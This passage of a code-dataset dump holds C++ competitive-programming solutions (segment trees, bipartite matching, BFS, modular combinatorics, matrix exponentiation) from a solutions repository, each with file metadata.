{a[0] = '2'; cout << a;}\r\n\t\telse {\r\n\t\t\tif (sa > sb) {a[sa - sb] = '1'; cout << a;}\r\n\t\t\telse {b[sb - sa] = '1'; cout << b;}\r\n\t\t}\r\n\t}\r\n\tif (op == '-') {\r\n if (sa == sb) cout << '0';\r\n else if (sa > sb) {\r\n for (int i = 0; i < sa - sb; i++) cout << '9';\r\n for (int i = 1; i < sb; i++) cout << '0';\r\n }\r\n else {\r\n cout << '-';\r\n for (int i = 0; i < sb - sa; i++) cout << '9';\r\n for (int i = 1; i < sa; i++) cout << '0';\r\n }\r\n\t}\r\n\tif (op == '*') {\r\n\t\tcout << '1';\r\n\t\tsa += sb - 2;\r\n\t\tfor (int i = 0; i < sa; i++) cout << '0';\r\n\t}\r\n\tif (op == '/') {\r\n\t\tsa -= sb;\r\n\t\tif (sa >= 0) {\r\n\t\t\tcout << '1';\r\n\t\t\tfor (int i = 0; i < sa; i++) cout << '0';\r\n\t\t}\r\n\t\telse {\r\n\t\t\tcout << \"0.\";\r\n\t\t\tfor (int i = -1; i > sa; i--) cout << '0';\r\n\t\t\tcout << '1';\r\n\t\t}\r\n\t}\r\n\tif (op == '%') {\r\n\t\tif (sa >= sb) cout << '0';\r\n\t\telse cout << a;\r\n\t}\r\n\tcout << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3452299237251282, "alphanum_fraction": 0.3654769957065582, "avg_line_length": 17.922077178955078, "blob_id": "76dc8cf85564c4a16149a70ea0445c8952a200bc", "content_id": "94443ee11101f7e566da85bbc6efdcefe476c29f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2914, "license_type": "no_license", "max_line_length": 62, "num_lines": 154, "path": "/POJ/1019.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <cassert>\n\nusing namespace std;\n\nint digits(int n) {\n if (n == 0) {\n return 1;\n }\n int res = 0;\n while (n > 0) {\n res++;\n n /= 10;\n }\n return res;\n}\n\nlong long L(long long n) {\n int d = digits(n);\n long long p = 1;\n long long res = 0;\n\n for (int l = 1; l < d; l++) {\n long long low = p;\n long long high = 10LL * p - 1LL;\n\n long long from = n + 1 - high;\n long long to = n + 1 - low;\n\n long long sum = (from + to) * (to - from + 1LL) / 2LL;\n \n res += sum * (long long)l;\n p *= 10LL;\n }\n\n long long low = p;\n long long high = n;\n\n long long from = n + 1 - high;\n long long to = n + 1 - low;\n\n long long sum = (from + to) * (to - from + 1LL) / 2LL;\n\n res += sum * (long long)d;\n\n return res;\n}\n\nlong long l(long long n) {\n int t = digits(n);\n long long p = 1;\n long long res = 0;\n for (int d = 1; d < t; d++) {\n long long low = p;\n long long high = 10LL * p - 1LL;\n\n res += (high - low + 1LL) * (long long)d;\n\n p *= 10LL;\n }\n\n long long low = p;\n long long high = n;\n\n res += (high - low + 1LL) * (long long)t;\n\n return res;\n}\n\nlong long d(int n, int p) {\n int t = digits(n);\n assert(1 <= p && p <= t); \n\n p = t + 1 - p;\n\n int res = -1;\n for (int i = 0; i < p; i++) {\n res = n % 10LL;\n n /= 10LL;\n }\n\n return res;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int t;\n cin >> t;\n\n while (t--) {\n long long n;\n cin >> n;\n\n if (n == 1) {\n cout << \"1\\n\";\n continue;\n }\n\n long long answer = -1;\n\n {\n long long low = 1;\n long long high = 1;\n while (L(high) < n) {\n high *= 2LL;\n }\n\n long long pos = low;\n while (low <= high) {\n long long middle = (low + high) / 2LL;\n if (L(middle) < n) {\n pos = middle;\n low = middle + 1;\n } else {\n high = middle - 1;\n }\n }\n\n n -= L(pos);\n }\n\n if (n == 1) {\n cout << \"1\\n\";\n continue;\n }\n\n {\n long long low = 1;\n long long high = 1;\n while (l(high) < n) {\n high *= 2LL;\n }\n\n long long pos = low;\n while (low <= high) {\n long long middle = (low + high) / 2LL;\n if (l(middle) < n) {\n pos = middle;\n low = middle + 1;\n } else {\n high = middle - 1;\n }\n }\n\n n -= l(pos);\n\n answer = d(pos + 1, n);\n }\n\n cout << answer << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.33269962668418884, "alphanum_fraction": 0.3593156039714813, "avg_line_length": 13.939393997192383, "blob_id": "075322c52db2e99817b626f5f00aa7124208e158", "content_id": "d4235354188f1e5fb00637120e62166554294769", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 526, "license_type": "no_license", "max_line_length": 34, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p3451-Accepted-s904708.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nint n, p[105];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> p[i];\r\n\t\t}\r\n\t\tint ans = 2;\r\n\t\tint mx = 0;\r\n\t\tfor (int i = 2; i <= 100; i++) {\r\n\t\t\tint cnt = 0;\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tif (p[j] % i == 0) {\r\n\t\t\t\t\tcnt += p[j];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (cnt > mx) {\r\n mx = cnt;\r\n ans = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3087701201438904, "alphanum_fraction": 0.32952776551246643, "avg_line_length": 18.720430374145508, "blob_id": "30ad1bcf1d7a00ac2d5fe570cfc6e1366d64f4a9", "content_id": "9c206baf29136c5515b51577cb9ad1687229d6dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1927, "license_type": "no_license", "max_line_length": 76, "num_lines": 93, "path": "/Caribbean-Training-Camp-2018/Contest_5/Solutions/D5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\n\r\nint go[MAXN], from[MAXN];\r\nvector<int> g[MAXN];\r\n\r\nbool mk[MAXN];\r\nbool dfs( int u ){\r\n if( mk[u] )return false;\r\n mk[u] = true;\r\n for( auto v : g[u] ){\r\n if( !from[v] || dfs( from[v] ) ){\r\n go[u] = v;\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n return false;\r\n}\r\n\r\nbool loose[MAXN];\r\nvoid solve1( int u ){\r\n loose[u] = true;\r\n for( auto v : g[u] ){\r\n if( v != go[u] && !loose[ from[v] ] ){\r\n solve1( from[v] );\r\n }\r\n }\r\n}\r\n\r\nvoid solve2( int u ){\r\n //cerr << \"solve2 u = \" << u << '\\n';\r\n loose[u] = true;\r\n for( auto v : g[u] ){\r\n if( v != from[u] && !loose[ go[v] ] ){\r\n //cerr << \" ---> v = \" << v << \" from[v] = \" << go[v] << '\\n';\r\n solve2( go[v] );\r\n }\r\n }\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n int n1, n2, m; cin >> n1 >> n2 >> m;\r\n\r\n for( int i = 0; i < m; i++ ){\r\n int u, v; cin >> u >> v; v += n1;\r\n g[u].push_back(v);\r\n g[v].push_back(u);\r\n }\r\n\r\n for( int u = 1; u <= n1; u++ ){\r\n fill( mk , mk + n1 + 1 , false );\r\n dfs(u);\r\n }\r\n\r\n for( int u = 1; u <= n1; u++ ){\r\n if( !go[u] ){\r\n solve1(u);\r\n }\r\n }\r\n for( int u = n1+1; u <= n1 + n2; u++ ){\r\n if( !from[u] ){\r\n solve2(u);\r\n }\r\n }\r\n\r\n for( int u = 1; u <= n1 + n2; u++ ){\r\n if( u == n1 + 1 ){\r\n cout << '\\n';\r\n }\r\n cout << ( loose[u] ? 'P' : 'N' );\r\n }\r\n cout << '\\n';\r\n\r\n //cout << \"matching:\\n\";\r\n /*\r\n for( int u = 1; u <= n1; u++ ){\r\n for( int v = n1+1; v <= n1 + n2; v++ ){\r\n if( go[u] == v ){\r\n cout << u << ' ' << v << '\\n';\r\n }\r\n }\r\n }\r\n */\r\n}\r\n" }, { "alpha_fraction": 0.4264069199562073, "alphanum_fraction": 0.4458874464035034, "avg_line_length": 15.5, "blob_id": "09c014f7ae5c1efc17f06a9c34c5b61f893ba1b9", "content_id": "6dd3f62c25d10faf47e3b00407cd83fb69d4efee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 462, "license_type": "no_license", "max_line_length": 45, "num_lines": 28, "path": "/SPOJ/NOTATRI.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 2005;\n \nint n;\nint l[N];\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\twhile (cin >> n && n) {\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> l[i];\n\t\t}\n\t\tsort(l, l + n);\n\t\tlong long ans = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = i + 1; j < n; j++) {\n\t\t\t\tint sum = l[i] + l[j];\n\t\t\t\tint pos = upper_bound(l, l + n, sum) - l;\n\t\t\t\tans += n - pos;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4716227054595947, "alphanum_fraction": 0.5051958560943604, "avg_line_length": 17.546875, "blob_id": "24669f409587167d221545d151412a8900bfae7a", "content_id": "261753068c5816131cfbb76cd20604a7b934333c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1251, "license_type": "no_license", "max_line_length": 73, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p1660-Accepted-s518457.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<limits.h>\r\n#define MAXN 1002\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> p;\r\ntypedef vector<p>::iterator pii;\r\n\r\nconst int mov[4][2]={{0,1},{0,-1},{1,0},{-1,0}};\r\n\r\nint mat[MAXN][MAXN],cost[2][MAXN][MAXN];\r\np B,N;\r\nvector<p> St;\r\nqueue<p> Q;\r\nint w,h,s=1<<29;\r\n\r\n\r\n\r\nvoid BFS(int x, p start)\r\n{\r\n\tcost[x][start.first][start.second]=0;\r\n\tfor(Q.push(start);!Q.empty();Q.pop())\r\n\t{\r\n\t\tfor(int k=0; k<4; k++)\r\n\t\t{\r\n\t\t\tp aux = Q.front();\r\n\t\t\tint dx=aux.first+mov[k][0],\r\n\t\t\t\tdy=aux.second+mov[k][1];\r\n\t\t\tif(mat[dx][dy]==1 || mat[dx][dy]==3)continue;\r\n\t\t\tif(cost[x][dx][dy] > cost[x][aux.first][aux.second]+1)\r\n\t\t\t{\r\n\t\t\t\tcost[x][dx][dy] = cost[x][aux.first][aux.second]+1;\r\n\t\t\t\tQ.push(p(dx,dy));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&w,&h);\r\n\tfor(int i=1; i<=h; i++)\r\n\t\tfor(int j=1; j<=w; j++)\r\n\t\t{\r\n\t\t\tscanf(\"%d\",&mat[i][j]);\r\n\t\t\tcost[0][i][j]=cost[1][i][j]=1<<29;\r\n\t\t\tif(mat[i][j]==2)\r\n\t\t\t\tB = p(i,j);\r\n\t\t\tif(mat[i][j]==3)\r\n\t\t\t\tN = p(i,j);\r\n\t\t\tif(mat[i][j]==4)\r\n\t\t\t\tSt.push_back(p(i,j));\r\n\t\t}\r\n\tBFS(0,B);\r\n\tBFS(1,N);\r\n\r\n\tfor(pii ii=St.begin(); ii!=St.end(); ii++)\r\n\t\ts=min(s,cost[0][ii->first][ii->second]+cost[1][ii->first][ii->second]);\r\n\r\n\tprintf(\"%d\\n\",s);\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.3779999911785126, "alphanum_fraction": 0.421999990940094, "avg_line_length": 18, "blob_id": "c34c823d1fe1ca911cd474dfb9855377375896cf", "content_id": "d03d8e3554604ffbc9bd0d3ea8491e2d6b4cbb5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 500, "license_type": "no_license", "max_line_length": 57, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p1123-Accepted-s561069.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#define MAXN 1500\r\nusing namespace std;\r\n\r\nint x,a[MAXN+10];\r\n\r\nint main()\r\n{\r\n\ta[1] = 1;\r\n\tfor( int i = 2; i <= MAXN; i++ )\r\n\t{\r\n\t int next = 1 << 30;\r\n\t\tfor( int j = i - 1; j; j-- )\r\n\t\t{\r\n\t\t\tif( 2 * a[j] > a[i - 1] )next = min( next, 2 * a[j] );\r\n\t\t\tif( 3 * a[j] > a[i - 1] )next = min( next, 3 * a[j] );\r\n\t\t\tif( 5 * a[j] > a[i - 1] )next = min( next, 5 * a[j] );\r\n\t\t}\r\n\t\ta[i] = next;\r\n\t}\r\n\r\n\twhile( scanf( \"%d\", &x ) && x )\r\n\t\tprintf( \"%d\\n\", a[x] );\r\n}\r\n" }, { "alpha_fraction": 0.40109890699386597, "alphanum_fraction": 0.4267399311065674, "avg_line_length": 25.299999237060547, "blob_id": "229186a55f73190f3e1e80790b999c2fb40f59da", "content_id": "736443348bb4936a4b136eaa09e6f0bed4aff1c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 546, "license_type": "no_license", "max_line_length": 94, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1482-Accepted-s469202.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint a,b,c;\r\ndouble r,A,p;\r\n\r\nint main(){\r\n while( scanf(\"%d%d%d\",&a,&b,&c)!=EOF ){\r\n if(2*max(a,max(b,c))>a+b+c)printf(\"ERROR\\n\");\r\n else if(2*max(a,max(b,c))==a+b+c)printf(\"0.00 %.2f\\n\",(double)max(a,max(b,c))/2.0);\r\n else{\r\n p=(double)(a+b+c)/2;\r\n A=sqrt(p*(p-a)*(p-b)*(p-c));\r\n printf(\"%.2f %.2f\\n\",A/p,(double)(a*b*c)/(4.0*A));\r\n }\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3520561754703522, "alphanum_fraction": 0.3981945812702179, "avg_line_length": 17.811321258544922, "blob_id": "96fb1e012d17ab9a80b3fbb833f842aef9b02526", "content_id": "2f0eda1b0fcb64747f4783e028f2af376686b6d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 997, "license_type": "no_license", "max_line_length": 101, "num_lines": 53, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n vector<int> b;\n vector<int> r;\n\n for( int i = 0; i < n ; i++ ){\n string s; cin >> s;\n int x = 0;\n for( int j = 0; j+1 < s.size(); j++ ){\n x *= 10;\n x += s[j] - '0';\n }\n x--;\n\n if( s[ s.size()-1 ] == 'B' ){\n b.push_back( x );\n }\n else{\n r.push_back( x );\n }\n }\n\n sort( b.begin() , b.end() );\n sort( r.begin() , r.end() );\n\n if( b.size() == 0 || r.size() == 0 ){\n cout << \"0\\n\";\n return 0;\n }\n\n int sol = 0;\n for( int i = 0; i < min( b.size() , r.size() ); i++ ){\n sol += b[ b.size()-1-i ];\n sol += r[ r.size()-1-i ];\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.38700759410858154, "alphanum_fraction": 0.4080857038497925, "avg_line_length": 18.821918487548828, "blob_id": "7dbf938c9c3b3d6b52c8e34b52776ec51ddee20d", "content_id": "7d4ef3741006e2ca62d94b7cb087caf8ad9a5e9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2894, "license_type": "no_license", "max_line_length": 67, "num_lines": 146, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/B1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int MAXN = 100100;\nconst LL oo = 1e14;\n\n\nLL st[4*MAXN];\nLL lazy[4*MAXN];\n\nvoid build_st( int nod, int l, int r ){\n lazy[nod] = st[nod] = -oo;\n if( l == r ){\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid+1 , r );\n}\n\nvoid propagate_st( int nod, int l, int r ){\n if( lazy[nod] != -oo ){\n st[nod] = max( st[nod] , lazy[nod] );\n if( l != r ){\n int ls = nod*2, rs = ls + 1;\n lazy[ls] = max( lazy[ls] , lazy[nod] );\n lazy[rs] = max( lazy[rs] , lazy[nod] );\n }\n lazy[nod] = -oo;\n }\n}\n\nvoid upd_st( int nod, int l, int r, int lq, int rq, LL upd ){\n propagate_st( nod , l , r );\n if( l > rq || r < lq ){\n return;\n }\n\n if( lq <= l && r <= rq ){\n lazy[nod] = upd;\n propagate_st( nod , l , r );\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n upd_st( ls , l , mid , lq , rq , upd );\n upd_st( rs , mid+1 , r , lq , rq , upd );\n\n st[nod] = max( st[ls] , st[rs] );\n}\n\nvoid build_st_min( int nod, int l, int r ){\n propagate_st( nod , l , r );\n\n if( l == r ){\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st_min( ls , l , mid );\n build_st_min( rs , mid+1 , r );\n\n st[nod] = min( st[ls] , st[rs] );\n}\n\nLL query_st( int nod, int l, int r, int lq, int rq ){\n if( l > rq || r < lq ){\n return oo;\n }\n\n if( lq <= l && r <= rq ){\n return st[nod];\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return min( query_st( ls , l , mid , lq , rq ) ,\n query_st( rs , mid+1 , r , lq , rq ) );\n}\n\nstruct query{\n int l, r;\n LL q;\n};\n\nquery qs[MAXN];\n\nint n;\nvoid print_st( int nod, int l, int r ){\n if( l == r ){\n LL val = st[nod];\n if (val < -(1LL << 31LL)) {\n val = -(1LL << 31LL);\n }\n if (val > (1LL << 31LL) - 1LL) {\n val = (1LL << 31LL) - 1LL;\n }\n cout << val << \" \\n\"[l==n];\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n print_st( ls , l , mid );\n print_st( rs , mid+1 , r );\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int m; cin >> n >> m;\n\n build_st( 1 , 1 , n );\n\n for( int i = 1; i <= m; i++ ){\n cin >> qs[i].l >> qs[i].r >> qs[i].q;\n upd_st( 1 , 1 , n , qs[i].l , qs[i].r , qs[i].q );\n }\n\n build_st_min( 1 , 1 , n );\n\n for( int i = 1; i <= m; i++ ){\n if( query_st( 1 , 1 , n , qs[i].l , qs[i].r ) != qs[i].q ){\n cout << \"inconsistent\\n\";\n return 0;\n }\n }\n\n cout << \"consistent\\n\";\n print_st( 1 , 1 , n );\n}\n" }, { "alpha_fraction": 0.38325992226600647, "alphanum_fraction": 0.42235681414604187, "avg_line_length": 19.177778244018555, "blob_id": "4e406a56ee26064b5d4cf38ed04283ecb57ff5de", "content_id": "a7034a16a9c6cc4c1d513ca92b9c476886cfa943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1816, "license_type": "no_license", "max_line_length": 98, "num_lines": 90, "path": "/Codeforces-Gym/101138 - 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation\n// 101138C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000000007;\n\ninline void add(int &a, int b) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % MOD;\n}\n\ninline int power(int x, int n) {\n\tint res = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\tres = mul(res, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn res;\n}\n\nconst int INV2 = power(2, MOD - 2);\nconst int INV6 = power(6, MOD - 2);\n\ninline int nC3(long long n) {\n\treturn mul(n, mul(n - 1, mul(n - 2, INV6)));\n}\n\ninline long long nC2(long long n) {\n\treturn mul(n, mul(n - 1, INV2));\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint n, m;\n\tcin >> n >> m;\n\tvector <vector <bool> > G(n, vector <bool> (n, 0));\n\twhile (m--) {\n\t\tint a, b;\n\t\tcin >> a >> b;\n\t\ta--;\n\t\tb--;\n\t\tG[a][b] = G[b][a] = true;\n\t}\n\tint ans = 0;\n\tfor (int a = 0; a < n; a++) {\n\t\tfor (int b = 0; b < n; b++) {\n\t\t\tif (a != b && G[a][b]) {\n\t\t\t\tint sa = 0;\n\t\t\t\tint sb = 0;\n\t\t\t\tint sc = 0;\n\t\t\t\tfor (int x = 0; x < n; x++) {\n\t\t\t\t\tif (x != a && x != b) {\n\t\t\t\t\t\tif (G[a][x] && !G[b][x]) {\n\t\t\t\t\t\t\tsa++;\n\t\t\t\t\t\t} else if (!G[a][x] && G[b][x]) {\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t} else if (G[a][x] && G[b][x]) {\n\t\t\t\t\t\t\tsc++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//cerr << a << \" \" << b << \" \" << sa << \" \" << sb << \" \" << sc << \" \" << ans << \"\\n\";\n\t\t\t\tif (sb >= 2 && sc + sa >= 3) {\n\t\t\t\t\tadd(ans, mul(nC3(sc + sa), nC2(sb)));\n\t\t\t\t}\n\t\t\t\tif (sc >= 1 && sb >= 1 && sc + sa - 1 >= 3) {\n\t\t\t\t\tadd(ans, mul(sc, mul(sb, nC3(sc - 1 + sa))));\n\t\t\t\t}\n\t\t\t\tif (sc >= 2 && sc - 2 + sa >= 3) {\n\t\t\t\t\tadd(ans, mul(nC2(sc), nC3(sc - 2 + sa)));\n\t\t\t\t}\n\t\t\t\t//cerr << a << \" \" << b << \" \" << sa << \" \" << sb << \" \" << sc << \" \" << ans << \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4689393937587738, "alphanum_fraction": 0.48106059432029724, "avg_line_length": 23.90566062927246, "blob_id": "740de210e45e191454a8caf17ee580de4685f3c0", "content_id": "3c8c81c00e560b71f021b28058df724b1d3f5cda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1320, "license_type": "no_license", "max_line_length": 80, "num_lines": 53, "path": "/Codeforces-Gym/100800 - 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)\n// 100800C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint n;\nmap<string, set<string> > m;\nmap<string, set<string> >::iterator it;\nmap<string,int> freq;\nstring s;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t///freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n //cout << n << endl;\n getline( cin, s );\n for( int i = 0; i < n; i++ ){\n getline( cin, s );\n istringstream li( s );\n string user;\n li >> user;\n m[user];\n it = m.find( user );\n while( li >> s ){\n freq[s]++;\n it->second.insert( s );\n }\n }\n map<string, int> cnt;\n for( it = m.begin(); it != m.end(); it++ ){\n set<string>::iterator i;\n for( i = it->second.begin(); i != it->second.end(); i++ ){\n cnt[*i]++;\n }\n }\n map<string, int>::iterator ii;\n\n vector< pair<int,string> > v;\n for( ii = cnt.begin(); ii != cnt.end(); ii++ ){\n if(ii->second == m.size() )\n v.push_back( make_pair( -freq[ii->first], ii->first ) );\n }\n sort( v.begin(), v.end() );\n for( vector< pair<int,string> >::iterator i = v.begin(); i != v.end(); i++ )\n cout << i->second << '\\n';\n if( !v.size() )\n cout << \"ALL CLEAR\\n\";\n\n}\n" }, { "alpha_fraction": 0.3801652789115906, "alphanum_fraction": 0.41912633180618286, "avg_line_length": 15.645833015441895, "blob_id": "6e8f3b2e5ac6498e67109e329fe9948eeb8771bc", "content_id": "d00924b6d61d992c7f1ca0f154aa1d5bc6031cf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 847, "license_type": "no_license", "max_line_length": 80, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p2235-Accepted-s512594.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int MOD = 1000000007;\r\ntypedef long long ll;\r\n\r\ntypedef struct matriz\r\n{\r\n ll mat[4][4];\r\n}mat;\r\n\r\nmat mult(mat a, mat b)\r\n{\r\n mat aux;\r\n for(int i=0; i<4; i++)\r\n for(int j=0; j<4; j++)\r\n aux.mat[i][j]=0;\r\n for(int i=0; i<4; i++)\r\n for(int j=0; j<4; j++)\r\n for(int k=0; k<4; k++)\r\n aux.mat[i][j]=(aux.mat[i][j]+(a.mat[i][k]*b.mat[k][j])%MOD)%MOD;\r\n return aux;\r\n}\r\n\r\nmat eleva(mat a, int n)\r\n{\r\n mat sol = a;\r\n while(n)\r\n {\r\n if(n&1)sol=mult(sol,a);\r\n a=mult(a,a);\r\n n>>=1;\r\n }\r\n return sol;\r\n}\r\n\r\nint n;\r\n\r\nint main()\r\n{\r\n mat x,ans;\r\n for(int i=0; i<4; i++)\r\n for(int j=0; j<4; j++)\r\n x.mat[i][j]=(i!=j);\r\n\r\n scanf(\"%d\",&n);\r\n printf(\"%lld\\n\",eleva(x,n-1).mat[3][3]);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4145873188972473, "alphanum_fraction": 0.42994242906570435, "avg_line_length": 20.65217399597168, "blob_id": "8c1507b03c4cbbbf7b459746c8685845a053a45a", "content_id": "3a07bb53fec4dbad285a6e5a80584d598df20337", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1042, "license_type": "no_license", "max_line_length": 62, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2970-Accepted-s645176.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\n\r\ntypedef long long ll;\r\n\r\nstruct pt {\r\n\tll x, y;\r\n\tbool operator < (const pt &a) const {\r\n\t\tif (x != a.x) return x < a.x;\r\n\t\treturn y < a.y;\r\n\t}\r\n} P[MAXN], l, r;\r\n\r\nll cross(const pt &a, const pt &b, const pt &o) {\r\n\treturn (a.x - o.x) * (b.y - o.y) - (a.y - o.y) * (b.x - o.x);\r\n}\r\n\r\nint n;\r\nvector<pt> a, b;\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n) {\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tcin >> P[i].x >> P[i].y;\r\n\t\tsort(P, P + n);\r\n\t\ta.clear();\r\n\t\tb.clear();\r\n\t\tfor (int i = 1; i < n - 1; i++)\r\n\t\t\tif (cross(P[0], P[n - 1], P[i]) <= 0) a.push_back(P[i]);\r\n\t\t\telse b.push_back(P[i]);\r\n\t\tcout << n << '\\n';\r\n\t\tcout << P[0].x << ' ' << P[0].y << '\\n';\r\n\t\tfor (int i = 0; i < a.size(); i++)\r\n\t\t\tcout << a[i].x << ' ' << a[i].y << '\\n';\r\n\t\tcout << P[n - 1].x << ' ' << P[n - 1].y << '\\n';\r\n\t\tfor (int i = b.size() - 1; i >= 0; i--)\r\n\t\t\tcout << b[i].x << ' ' << b[i].y << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3520810008049011, "alphanum_fraction": 0.3779527544975281, "avg_line_length": 18.674419403076172, "blob_id": "aefc18ffd68c8516b0722379d710a908e0d539f8", "content_id": "855c5b80f7e621862b5d02e1836b87064e099909", "detected_licenses": [], "is_generated": false, 